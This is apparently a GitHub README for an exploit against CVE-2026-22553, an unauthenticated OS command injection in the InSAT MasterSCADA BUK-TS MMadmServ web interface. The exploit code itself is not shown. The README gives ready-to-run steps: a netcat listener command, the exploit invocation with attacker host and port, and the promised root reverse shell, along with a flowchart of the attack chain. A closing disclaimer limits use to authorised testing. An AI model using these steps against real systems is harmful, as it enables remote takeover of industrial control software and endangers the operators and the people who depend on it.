mbanyamer/cve-2026-22553-insat-masterscada-buk-ts-mmadmservUnauthenticated OS command injection exploit for InSAT MasterSCADA BUK-TS MMadmServ web interface. Delivers reverse shell with root privileges via HTTP POST request. CVSS 9.8 critical.
CVE-2026-22553 | CVSS 9.8 Critical| Exploit Author Mohammed Idrees Banyamer
InSAT MasterSCADA BUK-TS suffers from an Unauthenticated OS Command Injection vulnerability in the MMadmServ web interface. This flaw allows remote attackers to achieve full remote code execution (RCE) without any authentication.
flowchart TD
A[Attacker] -->|HTTP POST Request| B[MMadmServ Web Interface]
B -->|Unauthenticated| C[Vulnerable Parameter]
C -->|OS Command Injection| D[Command Execution on Target Server]
D -->|Reverse Shell| E[Attacker's Listener\nnc -lvnp <port>]
style A fill:#ff4d4d,stroke:#fff
style E fill:#4dff88,stroke:#fffpython3 exploit.py <target_url> --lhost <your_ip> --lport <your_port>
python3 exploit.py http://192.168.1.50:8080 --lhost 192.168.1.100 --lport 4444
| Option | Description |
|---|---|
target | Target URL (e.g. http://ip:port) |
--lhost | Your IP address (reverse shell) |
--lport | Your listening port |
Start a listener on your machine:
nc -lvnp 4444
Run the exploit:
python3 exploit.py http://target-ip:port --lhost your-ip --lport 4444
Get a reverse shell with root/system privileges.
This exploit is provided for educational and authorized penetration testing purposes only.
Unauthorized use against systems you do not own is illegal and may violate international laws.
The author is not responsible for any misuse.
Mohammed Idrees Banyamer
Star ⭐ this repository if you found it useful!